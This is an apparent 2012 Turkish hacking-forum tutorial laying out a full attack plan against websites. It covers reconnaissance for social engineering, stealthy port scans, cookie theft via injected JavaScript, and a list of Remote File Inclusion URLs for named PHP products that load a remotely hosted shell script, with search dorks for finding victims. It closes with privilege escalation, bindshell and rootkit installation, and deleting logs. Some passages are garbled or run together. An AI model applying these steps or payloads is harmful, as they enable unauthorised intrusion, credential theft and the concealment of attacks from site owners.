THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Saldırı Planlaması ( Stratejisi )// Nasıl Saldırı Yapılır ? !!

CoLTFeeT06 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2011
Nereden:
ANKARA
Yaş:
26
Mesajlar:
1.648
Konular:
247
Teşekkür (Etti):
96
Teşekkür (Aldı):
383
Ticaret:
(0) %
04-04-2012 15:08
#1
Saldırı Planlaması ( Stratejisi )// Nasıl Saldırı Yapılır ? !!
Saldırı Planlaması ( Stratejisi )// Naısl Saldırı Yapılır ? !!
Attacker’ların çoğalmasına paralel olarak, web uygulamaları da artmakta ve güvenlik konusunda daha iyi noktalara ulaşmakta. Güvenlik önlemleri, korsanların işlerini bir nebze de olsa zorlaştırmaktadır. Ancak unutulmamalıdır ki, tamamiyle güvenli sistem yoktur. Sizler de bilirsiniz ki, Google.Com bile MyDoom virüsü ile saatlerce yayından çıkarıldı, öte yandan AOL.Com Attacker’lar tarafından Domain Hi-Jacking bile edildi. Bunlar ışığında, en güvenli sistem fişi çekili olandır sözünü doğrulayabiliriz.


Bu yazıda bir Attacker’ın hedef site karşısında somut veriler ele geçirmesi için yapması gereken, uygulaması gereken adımlar (tamamiyle olmasa da) anlatılmaktadır. Fazla söze gerek yok başlayalım;
Arkadaşlar öncelikle A şahsının bir hırsız olduğunu varsayalım. Bu şahsın hedef olarak B ’yi seçtiğini düşünelim. A, B’nin evine sızabilmek için öncelikle geniş çapta bir araştırma yapacak. Örneğin; B şahsı saat kaçta evden çıkacak, evin konumu, girebileceği yerler..vs.
Bizlerin A şahsı olduğunu ve hedef sistemin B şahsı olduğunu düşünürsek, sisteme sızabilmek için öncelikle araştırma şart. Bu araştırma nasıl ve hangi çapta olabilir. Öncelikle araştırmamızı yapabileceğimiz alanlar;

** Whois Sorgulaması

** IP Sorgulamaları

** DNS Sorgulaması

** Arama Motorlarından Faydalanma

** Elde Edilen Verilerin Birleştirilmesi

Veri toplama aşamasında bu basamakları uygulayacağız. Sırasıyla açıklayalım.

================================================



**Whois Sorgulama:

Bir sistenin Whois Veritabanı, Domain’in veya Internet Protocol Adress ( IP Adresi) ’ inin ait olmuş olduğu kurum, kuruluş veya şahısların bilgilerini içermesinden dolayı bizim için önemlidir. Ayrıca Whois Veritabanı hedef sitenin DNS adreslerini, Domain’in Date Expire tarihini, sitenin IP adresini, irtibat adreslerini, Domain’i regleyen (kaydeden) şahsın e-mail adresi, telefon bilgileri gibi önemli detayları da kapsar. Bu nedenle bizim açımızdan önemlidir. Şöyle ki, hem NS adresleri hem de bazı kritik bilgileri içeriyor ve bu verileri hem hedef server’a girmede hem de sosyal mühendislikte kullanabiliriz. Whois sorgulama hizmeti veren bir çok site bulunmaktadır. Bunlar arasında en iyi sonuçlar verenlerden birkaçı ;

[COLOR="rgb(221, 160, 221)"]

[url=http://www.whois.sc]WHOIS Lookup for Domain & IP Address Research | Whois Source

[url=http://allwhois.com]Allwhois.comwww.x-master.biz adresine karşılık gelen IP (IPv4) adresinin xxx.xxx.xxx.xxx olarak bulunması işlemini DNS ler yapar. Bunun yani sıra x-master.biz alan adının MX, NS, A kayıtları da yine dns sunucular tarafından kayıtta tutulmakta ve cevaplanmaktadır.Internetin IP üzerinden çalıştığı ve alan adlarının da ihtiyaç olduğu düşünülecek olur ise DNS ler her zaman kullanılacaktır.

Kısaca biz web gezginimize www.x-master.biz adresini yazıp bilişim ordumuzun sitesine girmek istediğimizde geri planda sessizce çalışıp bizi doğru sunucuya yönlendiren sistemdir veya help@x-master.biz e-posta adresine mail attığımız zaman x-master.biz alan adinin MX kayıtlarını bize söyleyerek bizim e-posta sunucumuzun doğru e-posta sunucu ile konuşmaya başlamasını saylayan yine dns tir.

Hedefle ilgili Whois sorgusunda DNS bilgilerini NS veya Domain servers olarak görürüz. Bundan sonra ise DNS sorgulaması yaparak daha fazla veriye ulaşacağız. Eğer DNS suncusunda konfigürasyon hatası varsa yani yanlış konfigüre edilmişse, Zone Transfer yapabilir ve DNS sunucudan çalıştığı domain ile ilgili tüm verileri isteyebiliriz. Anlattığımız DNS sorgulamasını da run’a "nslookup" yazarak manuel olark yapabiliriz. Veya Sam Spade türü bir prg. kullanabilirsiniz.[/COLOR]
================================================

**Arama Motorlarından Faydalanma




Arama motoru (search engine), dünyadaki hemen hemen tüm web sitelerinin listelendiği, kategorilere ayrılmış, aradığımız bilgileri en kısa yoldan ve hızlı bir şekilde ulaşmamızı sağlayan web siteleridir.


İnternet üzerinde yüzlerce hatta binlerce arama motoru bulunmaktadır. Bunların bir kısmı kendi alanlarındaki web sitelerini listelemekte, bir kısmı yerel alanlarda hizmet vermektedir. Bir kısmı da dünya üzerindeki her türlü web sitesini listelemektedir. Arama kriterlerini en aza indirmek arama motorlarındaki komut satırına (yanlarında Search, Find It, Get It gibi tuşlar bulunan kutucuklar) herhangi bir kelimeyi yazdığımızda, bu arama motoru bu kelimenin geçtiği tüm dökümanları listeler. Oysa bu dökümanların içinde işimize yaramayan öyle çok döküman listelenir ki, işimize yarayanı bulmakta zorlanmaya başlarız. Mesela bu arama motorlarından bir tanesine web yazıp aramasını istediğiniz zaman, karşımıza yüzbinlerce sayfa çıkar. Diğer taraftan " web sayfası" yazıp aramasını istediğimiz zaman ise hem içinde web geçen hem de sayfası geçen tüm dökümanları listeleyeceğinden bu sefer milyonlarca döküman çıkacaktır. Oysa bunun için, internetin her yerinde olduğu gibi, büyük bir kolaylık sağlayan arama parametreleri vardır. Bu parametreleri kullanarak aradığımız dökümanlara doğrudan ulaşabiliriz.


Arama motorları 3 temel parçadan oluşur:

* Spider: İlki "spider,bot,ant" gibi isimlere sahip olan programlar. Bu programlar interneti dolaşıp sayfaları tespit edip veritabanlarına kaydederler.

* Veritabanı: Spider tarafından ziyaret edilen, her sayfanın kopyası burada saklanır. Sayfanızda yaptığınız değişiklikler, spider tekrar uğrayıncaya kadar arama motorlarında yer almaz. Arama yapıldığında, sayfanız veritabanındaki son haline göre değerlendirilip, sıralanır. Bu yüzden kullanıcılar, ölü linkler yada çok farklı içeriklerle karşılaşabilmektedir. Google.com’da "Önbellekten oku" komutuyla kayıtlı sayfanın Google’un veritabanındaki halini görebilirsiniz.

* Sıralama mekanizması: Üçüncü parçada sıralama mekanizmasıdır. Kullanıcın yaptığı aramaya göre, en uygun şekilde sayfaları sıralamaya çalışır. Her arama motorunda bu parçalar farklı çalışır. Bazılarında, sayfanızda frame, image map kullanmanız sorun yaratabilir. Bazıları, veritabanına alt tag larını kaydetmez.

Herbiri kendi yöntemini geliştirerek, ziyaretçilerine en iyi sonuçları getirmeye çalışır. Arama motorları, siteniz için önemliyse, kodlarınızı arama motorlarına uyumlu hale getirmeli, ve üst sıralarda yer alabilmek için, optimize etmeniz gerekmetedir.




*Arama Motorunda Sıralama Nasıl Yapılır?


Arama motorları, sayfanızı inceleyip kelimelerin kullanılma oranlarını, yerlerini ve şekillerini ölçer. Bir kelime diğerlerine göre, çok sık olarak, hem başlıkta, hem yazılarda, hem resimlerin açıklamalarında kullanılmışsa, o sayfanın o kelimeye yönelik içeriğe sahip olduğu kanısına varılır. O kelimeyle arama yapıldığında, o sayfa, kelimeyi daha az kullanan yada başlığında o kelimeye yer vermeyen sitelere göre daha üst sırada yer alır.

* Arama Parametreler Nelerdir?

Arama parametreleri, arama motorlarına göre zaman zaman değişkenlik içerse de, tüm arama motorlarında geçerli olan bir kaç parametre vardır. İşte bunlardan birkaçı:

+ parametresi "ve" anlamına gelir. Arama satırına web sayfası yerine web+sayfası yazarsak, arama motoru artık bize içinde sadece web sayfası geçen dökümanları listeleyecektir. Bu dökümanların içinde web kelimesi ortada sayfası kelimesi başta veya sonda olabilir. Bu işimizi biraz daha kolaylaştırmış olacaktır. Ama hala tam aradığımız döküman bu olmayabilir. O zaman da;

"" parametresini kullanmalıyız. Yani "web sayfası" yazıp aranmasını istediğimiz zaman, içinde sadece web ve sayfası yan yana geçen dökümanlar listelenecektir.

- parametresi arama motorunun arama satırına "web sayfası" - eğitim yazarak aramasını istediğimiz zaman, arama motoru, içinde web ve sayfası yan yana bulunan ama eğitim kelimesi içermeyen tüm dökümanları listeleyecektir.

Bir Cracker bahsettiğimiz şekilde, gelişmiş crawler’lara sahip olan arama motorlarını kullanarak sitenin kritik bilgilerine ulaşabilmektedir. Bu da webmaster’ların tecrübesizliğinden veya dikkatsizliğinden kaynaklanır. Hatta öyle ki, sitelerin MySQL şifrelerine bile, deneyimsiz webmaster’lar sayesinde ulaşabiliyoruz.

================================================
** Eldeki Verileri Birleştirme

Son aşama olarak Veri toplama aşamasında elimizdeki verileri birleştiriyoruz. Ve buna göre bir strateji çiziyoruz. Mesela; whois sorgusunda elde edilen verileri sosyal müh. kullanabilir veya IP sorgusundan öğrendiğimiz verilerle serverda bulunan siteleri öğrenebilir ve RFI ile server’a girebiliriz.Veri toplama aşamasından sonra saldırıya hazırlık aşamasına geçiyoruz. Burada öncelikle tarama işlemini yapıyoruz.
================================================



Veri toplama aşamasından sonra Remote Attack aşamasına geçiyoruz…Bu aşamada yapacaklarımız ;
** Port Tarama

** CGI Saldırıları

** Cookie Saldırıları:

** Remote File Inclusion

** Veritabanına Yapılabilecek Saldırılar

** E-Posta Saldırıları

** Exploit Saldırıları

** DOS Attack

** DDOS Attack

Hemen işe koyulalım..
================================================
** Port Scanning / Port Tarama

Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır. Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur.
İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar. Uygun görülen request’lere response (cevap) vermektedir.

Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır. Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır. Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir. Port numaraları 2 byte olarak tutulur. 1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır. Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır.
Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim.

Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır. Yani Port Taraması yapmaktır.
Temel Port Tarama Yöntemleri
İlerleyen teknoloji ile birlikte hacking yöntemleri de ilerleme kaydetti. Sürekli geliştirilen yöntemler, güvenlik yazılımları tarafından etkisiz kalınca yeni yöntemlerin keşfedilmesine sebebiyet verdi.
Son zamanlarda Port tarama işlevinin birçok yöntemi geliştirildi. Geliştirilen yolların hemen hemen hepsi Nmap programının Coder’ı (Kodlayıcısı) "Fyodor" ’un ürünüdür. Şimdi Port Tarama Yöntemleri’ne tüm yönleriyle değinelim.
ðTCP Connect Scan
Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır.
TCP’nin İşleyişi: TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir. Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir. Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir.






Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir.

Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz. Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir. Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir.
ðTCP SYN SCAN
TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik. Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur. Oturum açılırsa log tutulur.



TCP SYN Scan yarı-açık tarama olarak da bilinir. Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır. TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır. Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder.
Eğer hedef port açık ise SYNC/ACK paketi gelir. Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar.

TCP FIN Scan

TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik. TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir.


[COLOR="rgb(0, 255, 255)"]TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir. *RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir. Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır.
ð SYN/FIN Scannig Using IP Fragments

Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz. Bu tarama yönteminde herhangi bir paket gönderilmez. Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir. Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir.
[/COLOR]
TCP Xmas Tree Scan



Bu tarama yöntemi TCP SYN taramasına benzer. Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir. Eğer cevap gelmezse hedef portlar açıktır. (RFC793’e göre / https://tik.lat/GkXmf )
ð TCP Null Scan


Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik. Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir. Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir. Eğer cevap gelmezse hedef port açıktır.


TCP ACK Scan

Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir.
TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır. Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir.

TCP FTP Proxy (Bounce Attack) Scan


Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır. RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir. Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir. Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür. Çünkü Firewall bypass edilmiş olur.

TCP Windows Scan


TCP ACK taramasına benzer.
Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder.


TCP RPC Scan


Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz. Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur.
(Sadece Unix tabanlı sistemlerde mevcuttur)


UDP Scan

Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi. TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı. Ancak UDP’de böyle bir şey mevcut değildir. UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez.

Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır. Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir. Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır. Bu işlemleri yaparken acele etmemek gerekir. Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir. Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir. Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir.

Ident Scan


Ident Protokolü RFC1413’te tanımlanmış bir protokoldür.Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır. Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır.

Eğer bunları yapamıyorsanız;

SSS ( Shadow Security Scanner )
NSS ( GFI LANGuard Network Security Scanner )
Acunetix Web Vulnerability Scanner
Retina Network Security Scanner
Satan / SAINT
N-Stealth


Gibi Scanner’ları kullanarak belli başlı açıkları ve açık portları öğrenebilirsiniz. Portların durumunu öğrendikten sonra gerekli işlemleri yapabilirsiniz.
Port taramadan sonra daha da detaya inmek isterseniz, hedefin işletim sistemini öğrenebilir, NetBios - CIFS/SMB taraması yapabilirsiniz. Ne kadar detaya inerseniz, eldeki veriler o kadar artar.

Korunma Yöntemleri

Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir. Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir. Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP

Adresleri otomatik olarak bloke edilir. Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir.

Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır. Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir. Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır. Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm ( [url=http://www.zonelabs.com/SPAN]Antivirus Software, Firewall, Spyware Removal, Virus Scan: Computer Security by ZoneAlarm https://tik.lat/tIxXg ) ‘tır.



CGI Saldırıları:


CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır. CGI, aslında bir programdır. Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır. En popüler CGI uygulamalarından birisi Web Sayaçlarıdır. Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir. CGI programları gerçek zamanlı çalışırlar. CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir.

CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir!! Bu yüzden, cgi kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır.

CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb. CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir. Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir.

Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır. Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar. Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler. Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır.

C.G.I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır. Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda. Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir. Şöyle ki; CGI açıklarından faydalanarak hedef siteyi hack’leyebiliriz, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapıları bırakabiliriz.

================================================



** Cookie Saldırıları:

Cookie, web sunucusunun bilgisayarınızda sakladığı bir dosyadır. Çerezler sizi bir web sitesine döndüğünüzde tanıyabilmek için kullanılır.

Web siteleri sıklıkla sizin bilgisayarınıza çerezleri kaydeder ki siz tekrar bu siteye döndüğünüzde sunucuları sizi tanısın ve sizin daha önceden yaptığınız değişiklikleri ve özelleştirmeleri size gösterebilsin.

Siz kendi isteğinizle bilgilerinizi sunmadığınız sürece, bir çerez sadece aşağıdaki bilgileri taşıyabilir:



* Sizin daha önce siteyi ziyaret etmiş olduğunuzu

* Siteyi ziyaret tarihinizi

* Hangi sayfaları ziyaret ettiğinizi


* Siteyi son ziyaretinizde kullandığınız üye adını
Arkadaşlar eğer hedef sistemimiz, kodlanma sürecinde bir takım hatalar yapmışsa, sistemde bir takım zafiyetler ve güvenlik açıkları vardır demektir. Biz de bu sistem hatalarından faydalanarak sistemde kayıtlı olan cookie leri kullanabiliriz. bu sayede sistem yöneticisinin ID’iyle siteye login olabiliriz. Bu işi yapabilmek için sistem üzerinde JS kodları çalıştırarak ve cookie leri belirlediğimiz yere post edeceğiz. Son aşamada ise ele geçirdiğimiz cookie leri amacımıza göre kullanmak için cookie editorler ile derleyeceğiz.



Remote File Inclusion

Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir. Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi. Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir.

Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar. Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor. Listpatch PHP destekli bir hosta (Örn:[url=http://hometown.aol.com]AOL Lifestream : Login https://tik.lat/hpMng Listpatch

*****************
ActualAnalyzer Server <= 8.23 (rf) Remote File Include Vulnerability

Google Keyword= "ActualScripts, Company. All rights reserved."

RFI :http://[URL]/direct.php?rf=Listpatch
http:///direct.php?rf= Listpatch

****************

[COLOR="rgb(0, 255, 255)"]Blend Portal <= 1.2.0 (phpBB Mod) Remote File Inclusion Vulnerability

RFI : http://URL/phpBB/blend_data/blend_common.php?phpbb_root_path= Listpatch
****************
CaLogic Calendars 1.2.2 (CLPath) Remote File Include Vulnerabilities

Google Keyword: CaLogic Calendars V1.2.2

RFI :http://URL/path/reconfig.php?GLOBALSCLPath]= Listpatch

http://URL/path/srxclr.php?GLOBALSCLPath]= Listpatch

****************
CBSMS Mambo Module <= 1.0 Remote File Include

RFI : http://URL/path/mod_cbsms_messages.php?mosConfig_absolute_path= Listpatch
****************
DoceboLMS <= 2.0.5 (help.php) Remote File Include Vulnerability

Google Keyword: Docebo LMS 2.05

RFI :http://URL/DOCEBO205/modules/credits/help.php?lang= Listpatch

****************
ezUserManager <= 1.6 Remote File Inclusion Vulnerability

Google Keyword: "powered by ezUserManager"

RFI :http://URL/path/ezusermanager_pwd_forgott.php? ezUserManager_Path= Listpatch
****************
GeekLog <= 1.4. Remote File Include

Google Keyword: “powered by geeklog”

RFI: http://URL/path/plugins/links/functions.inc?_ConFpath]= Listpatch

http://URL/path/plugins/polls/functions.inc?_ConFpath]= Listpatch

http://URL/path/plugins/spamx/BlackList.Examine.class.php?_ConFpath] = Listpatch




http://URL/path/plugins/spamx/MTBlackList.Examine.class.php?_ConFpath]= Listpatch


http://URL/path/plugins/spamx/MassDelete.Admin.class.php?_ConFpath]= Listpatch

http://URL/path/plugins/spamx/EditHeader.Admin.class.php?_ConFpath]=Listpatch

http://URL/path/plugins/spamx/EditIP.Admin.class.php?_ConFpath]=Listpatch

http://URL/path/plugins/spamx/IPofUrl.Examine.class.php?_ConFpath color=#666666=Listpatch
http://URL/path/plugins/spamx/Import.Admin.class.php?_ConFpath]=Listpatch

http://URL/path/plugins/spamx/LogView.Admin.class.php?_ConFpath]=Listpatch

http://URL/path/plugins/staticpages/functions.inc?_ConFpath=Listpatch

[/COLOR]

================================================


** Veritabanına Yapılabilecek Saldırılar


Bu aşamada ise SQL Inj. Kullanıyoruz. SQL Inj. Çok detaylı bir konu olduğundan dolayı buraya yazmıyorum.

** E-Posta Saldırıları
E-Mail saldırılarıyla Domain Hi-Jacking yapabilirsiniz. Bunu daha önce yazdığım bir diyagramla göstereyim.



Exploit Saldırıları
Bildiğimiz gibi Dos türü sistemlerde tek kullanıcı sistemi kullandığı için dosyalara erişme, değişebilme, okuyabilme yetkisine sahipti. Ancak işletim sistemlerinin gelişmesiyle beraber çok kullanıcılılığın başlamasıyla user’ların yetkisi de söz konusu olmaya başlamıştır. Her işletim sisteminde bir yönetici vardır ( Novell=Supervisor, Linux=Root, Win=Administrator.vs gibi] İşte bu tür sistemlerde yetkiyi artırmak için attacker lar exploit dediğimiz programları yazmış ve kullanmaya başlamışlardır.

Exploitler Local Exploit ve Remote exploit olmak üzere iki dalda incelenir. Remote exploit uzaktan erişim için yapılır ve sistemin user’ı olmanızı gerektirmez ama local exploitlerde sistem user’ı olmanız gerekir



Exploitlerin işleyişi:


Exploitler bir sistemde bulunan bug ( işletim sistemi üzerinde hatalı programlar yüzünden meydana gelen açıklara verilen addır. Sisteme kopyalanmış oyun, IRC veya mail programlarından bu açık oluşabilir) ları kullanarak root yetkilerini almamızı sağlar.Exploitler kaynak kodlar halindedir. Ve bu nedenle compile yani derlenmesi gerekir. Win altında çalışan derleyiciler vardır ama linux ’larda yapılmak üzere hazırlanmışlardır. Win altında compile etmek .h library hatası verir ama linux altında gcc compiler’ı kullanarak derlendiği zaman sorun vermeyecektir. Bunları compile etmek için shell ( Linux altında size verilen sınırla alan da denebilir. Putty aracılığıyla SSH Protokolü kullanarak bağlanabilirsiniz.) alarak gcc compiler’i kullanabilirsiniz.

Şimdi exploit kullanarak sisteme girme konularına değinlim.Arkadaşlar hedefimizi belirledikten sonra server info(rmation) sunu belirliyoruz. [ netcraft.com sitesini kullanabilirsiniz) Daha sonra bu infoya göre gerekli exploitleri temin ediyoruz. Shell hesabına değinmiştik , shell hesabı alıyoruz ve shell e login olup exploiti buraya çekiyor.
Eğer loglanmamak veya shell in silinmemesini istiyorsanız bindshell kuruyorsunuz.[HPBindshell gibi] Daha sonra server’da root oluyorsunuz ve rootkit te kurabilirsiniz.Şimdi siteye istediğimizi yapabiliriz. Ama çıktıktan sonra logları silmeyi unutmayın


Bindshell hakkında;
Arkadaşlar yazdığım dökümanlarda genelde bindshell in ne işe yaradığı ve kurulumu hakkında sorular ortaya çıkıyor bu sorunları kaldırmak için yazıyorum bunları.
Şimdi arkadaşlar biz bindshell i niye kuruyoruz? Buraya değinelim.


*Shell ile login olduktan sonra /home/ altında bir klasör oluşturur. Oysa bindshell i kurduğumuz zaman id olarak nobOdy gösterir bizi.

*Sisteme bindshell kurduğumuz zaman port bindshell olarak açılır ve buraya bağlanmamızı sağlar + exploit işe yararsa o sistemde shell hesabımız oluyor.[anonymous] Anonymous olarak girdiğimiz için/home altında klasör tutulmaz.

*Exploiti her zaman kullanmak zorunda kalmıyoruz(remote attack için)

Ayrıca o bug fixlenmişse aynı yol işe yaramayacaktır.Bindshell in kurulumuna gelince. ./bindshell yazıp kuruyoruz: )


Yaptıklarımız;

